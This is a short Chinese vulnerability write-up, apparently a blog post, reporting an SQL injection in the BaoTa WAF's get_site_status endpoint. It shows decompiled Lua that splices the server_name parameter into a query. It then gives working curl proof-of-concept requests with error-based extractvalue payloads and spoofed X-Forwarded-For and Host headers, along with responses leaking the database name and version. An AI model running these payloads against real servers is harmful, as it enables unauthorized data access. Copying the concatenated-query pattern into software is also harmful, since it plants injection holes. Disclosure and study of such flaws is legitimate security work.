接上篇文章，在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞

get_site_status = function ()
  if not ngx.ctx.get_uri_args.server_name then
    return Public.get_return_state(false, "参数错误")
  end
  ... 此处省略若干代码
  slot7, slot8, slot9, slot10 = slot4.query(slot4, [[
SELECT 
    SUM(request) as req,
    SUM(err_40x) as err_40x,
    SUM(err_500) as err_500,
    SUM(err_502) as err_502,
    SUM(err_503) as err_503,
    SUM(err_504) as err_504,
    SUM(err_499) as err_499,
    SUM(send_bytes) as send_bytes,
    SUM(receive_bytes) as recv_bytes,
    SUM(pc_count) as pc_count,
    SUM(mobile_count) as mobile_count,
    SUM(spider_baidu) as spider_baidu,
    SUM(spider_google) as spider_google,
    SUM(spider_bing) as spider_bing,
    SUM(spider_360) as spider_360,
    SUM(spider_sogou) as spider_sogou,
    SUM(spider_other) as spider_other,
    SUM(ip_count) as ip_count,
    SUM(pv_count) as pv_count,
    SUM(uv_count) as uv_count
     FROM `request_total` WHERE `server_name`=']] .. slot1 .. "' AND `date`='" .. os.date("%Y-%m-%d") .. "'")
  ... 此处省略若干代码
  return Public.get_return_state(true, slot6)
end

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\btwaf': 1105: HY000."}

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,version()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\8.1.0': 1105: HY000."}

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\hello,world': 1105: HY000."}